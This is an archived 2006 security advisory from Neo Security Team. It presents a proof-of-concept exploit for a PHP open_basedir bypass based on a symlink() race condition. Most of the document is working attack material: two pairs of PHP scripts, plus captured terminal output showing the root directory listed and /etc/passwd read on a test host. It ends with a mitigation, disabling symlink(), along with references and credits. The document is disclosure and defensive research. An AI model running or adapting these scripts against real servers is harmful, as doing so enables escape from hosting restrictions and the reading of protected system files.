<<< Date Index >>>     <<< Thread Index >>>

PHP open_basedir with symlink() function Race Condition PoC exploit



/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST] - Advisory #26 - 09/10/06
--------------------------------------------------------
Program: PHP
Homepage: http://www.php.net
Vulnerable Versions: PHP 3, 4, 5
Risk: High!
Impact: Critical Risk

-==PHP open_basedir with symlink() function Race Condition PoC exploit==-
---------------------------------------------------------

- Description
---------------------------------------------------------
PHP  is a widely-used general-purpose scripting language that is especially 
suited for Web development and can be embedded into HTML. 

- Tested
---------------------------------------------------------
localhost - PHP 5.0.4

- Vulnerability Description
---------------------------------------------------------

The vulnerability was discovered by the staff of Hardened-PHP 
(www.hardened-php.net). You can see the original advisory
in http://www.hardened-php.net/advisory_082006.132.html.

The point isn't all like the Hardened people said:

"The first script alternates a symbolic link between a file that
is allowed and the one that is forbidden by open_basedir and the
second script simply puts loops around operations trying to 
operate on the symbolic link."

We don't need to alternate the symlink beetwen an allowed file an a forbidden 
one. In this PoC you can see that the symlink 
doesn't point to an allowed file in the loop.

script1.php
<?
   symlink("a/a/a/a/a/a/", "dummy");
   symlink("dummy/../../../../../../", "xxx");
   unlink("dummy");
   while (1) {
        symlink(".", "dummy");
        unlink("dummy");
   }
?>

script2.php
<?
@print_r(scandir("/")); // open_basedir restriction doesn't let us to see the 
root dir content
// scandir() is a PHP 5 function. You can use another function of the other 
versions to work on the directory
while (1) {
        $dir=@scandir("xxx");
        if (@count($dir) > 20) print_r($dir); // the main dir have more than 20 
folders
}
?>

--Real Proof of Concept exploit--
[root@fc43035 race_condition]# php script1.php &
[1] 7942
PHP Warning:  Module 'gd' already loaded in Unknown on line 0
[root@fc43035 race_condition]# php script2.php
PHP Warning:  Module 'gd' already loaded in Unknown on line 0
PHP Warning:  file_get_contents(): open_basedir restriction in effect. 
File(/etc/passwd) is not within the allowed path(s): (/var/www/vhosts/:/tmp/) 
in /var/www/vhosts/foo/race_condition/script2.php on line 2

Warning: file_get_contents(): open_basedir restriction in effect. 
File(/etc/passwd) is not within the allowed path(s): (/var/www/vhosts/:/tmp/) 
in /var/www/vhosts/foo/race_condition/script2.php on line 2
PHP Warning:  file_get_contents(/etc/passwd): failed to open stream: Operation 
not permitted in /var/www/vhosts/foo/race_condition/script2.php on line 2

Warning: file_get_contents(/etc/passwd): failed to open stream: Operation not 
permitted in /var/www/vhosts/foo/race_condition/script2.php on line 2
PHP Warning:  scandir(): open_basedir restriction in effect. File(/) is not 
within the allowed path(s): (/var/www/vhosts/:/tmp/) in 
/var/www/vhosts/foo/race_condition/script2.php on line 3

Warning: scandir(): open_basedir restriction in effect. File(/) is not within 
the allowed path(s): (/var/www/vhosts/:/tmp/) in 
/var/www/vhosts/foo/race_condition/script2.php on line 3
PHP Warning:  scandir(/): failed to open dir: Operation not permitted in 
/var/www/vhosts/foo/race_condition/script2.php on line 3

Warning: scandir(/): failed to open dir: Operation not permitted in 
/var/www/vhosts/foo/race_condition/script2.php on line 3
PHP Warning:  scandir(): (errno 1): Operation not permitted in 
/var/www/vhosts/foo/race_condition/script2.php on line 3

Warning: scandir(): (errno 1): Operation not permitted in 
/var/www/vhosts/foo/race_condition/script2.php on line 3
Array
(
    [0] => .
    [1] => ..
    [2] => .autofsck
    [3] => .autorelabel
    [4] => bin
    [5] => boot
    [6] => chroot
    [7] => dev
    [8] => etc
    [9] => home
    [10] => lib
    [11] => lib64
    [12] => lost+found
    [13] => media
    [14] => misc
    [15] => mnt
    [16] => net
    [17] => opt
    [18] => proc
    [19] => root
    [20] => sbin
    [21] => selinux
    [22] => srv
    [23] => sys
    [24] => tmp
    [25] => usr
    [26] => var
)
Array
(
    [0] => .
    [1] => ..
    [2] => .autofsck
    [3] => .autorelabel
    [4] => bin
    [5] => boot
    [6] => chroot
    [7] => dev
    [8] => etc
    [9] => home
    [10] => lib
    [11] => lib64
    [12] => lost+found
    [13] => media
    [14] => misc
    [15] => mnt
    [16] => net
    [17] => opt
    [18] => proc
    [19] => root
    [20] => sbin
    [21] => selinux
    [22] => srv
    [23] => sys
    [24] => tmp
    [25] => usr
    [26] => var
)

[root@fc43035 race_condition]#
--Real Proof of Concept exploit--

We finally bypass the open_basedir restriction and we read the main dir 
content. Also we can read a file, like /etc/passwd.

In the third line of script1.php we make the symbolic link to ./etc/passwd so 
we have to create a folder named "etc" with a 
file named "passwd" inside:

[root@fc43035 race_condition]# ls
a  etc  script1.php  script2.php  script.php
[root@fc43035 race_condition]# cd etc
[root@fc43035 etc]# ls
passwd
[root@fc43035 etc]# cd ..
[root@fc43035 race_condition]#

Then the script1.php is equal than the first one. We have just to change the 
symbolic link to "dummy/../../../../../../etc/passwd".
In the script2.php we try to read the file ("xxx" link) with the 
file_get_contents() function.

script1.php
<?
   symlink("a/a/a/a/a/a/", "dummy");
   symlink("dummy/../../../../../../etc/passwd", "xxx");
   unlink("dummy");
   while (1) {
        symlink(".", "dummy");
        unlink("dummy");
   }
?>

script2.php
<?
while (1) {
        print @file_get_contents("xxx");
}
?>

--Real Proof of Concept exploit--
[root@fc43035 race_condition]# php script1.php &
[1] 9979
PHP Warning:  Module 'gd' already loaded in Unknown on line 0
[root@fc43035 race_condition]# php script2.php
PHP Warning:  Module 'gd' already loaded in Unknown on line 0
PHP Warning:  file_get_contents(): open_basedir restriction in effect. 
File(/etc/passwd) is not within the allowed path(s): (/var/www/vhosts/:/tmp/) 
in /var/www/vhosts/foo/race_condition/script2.php on line 2

Warning: file_get_contents(): open_basedir restriction in effect. 
File(/etc/passwd) is not within the allowed path(s): (/var/www/vhosts/:/tmp/) 
in /var/www/vhosts/foo/race_condition/script2.php on line 2
PHP Warning:  file_get_contents(/etc/passwd): failed to open stream: Operation 
not permitted in /var/www/vhosts/foo/race_condition/script2.php on line 2

Warning: file_get_contents(/etc/passwd): failed to open stream: Operation not 
permitted in /var/www/vhosts/foo/race_condition/script2.php on line 2

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
apache:x:48:48:Apache:/var/wwww/htdocs:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
amanda:x:33:6:Amanda user:/var/lib/amanda:/bin/bash
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
ftp:x:22222:0:root:/root:/bin/false
cyrus:x:76:12:Cyrus IMAP Server:/var/lib/imap:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
apache:x:48:48:Apache:/var/wwww/htdocs:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
amanda:x:33:6:Amanda user:/var/lib/amanda:/bin/bash
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
ftp:x:22222:0:root:/root:/bin/false
cyrus:x:76:12:Cyrus IMAP Server:/var/lib/imap:/bin/bash

--Real Proof of Concept exploit--

You can see that the /etc/passwd is readed two times and a lot more if we don't 
stop the script execution.

- How to fix it? More information?
--------------------------------------------------------
Like the Hardened-PHP staff said, you have to disallow the use of symlink() 
function.
You can do this using the disable_functions directive in your php configuration 
(php.ini by default):

disable_functions = ...,symlink;

- References
--------------------------------------------------------
http://www.neosecurityteam.net/index.php?action=advisories&id=26
http://www.hardened-php.net/advisory_082006.132.html

- Credits
--------------------------------------------------------
Proof of Concept exploit by Paisterist -> paisterist.nst [at] gmail [dot] com
Vulnerability discovered by Hardened-PHP staff (http://www.hardened-php.net)

[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/


- Greets
--------------------------------------------------------
HaCkZaTaN
K4P0
Daemon21
Link
0m3gA_x
LINUX
nitrous
m0rpheus
nikyt0x
KingMetal

Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!

@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@@ @@@'''''@@@
'@@'''@@@@'''''''''@@@''''@@@
@@@@''''@@'@@@@@@@@@@''''@@@@@

/* EOF *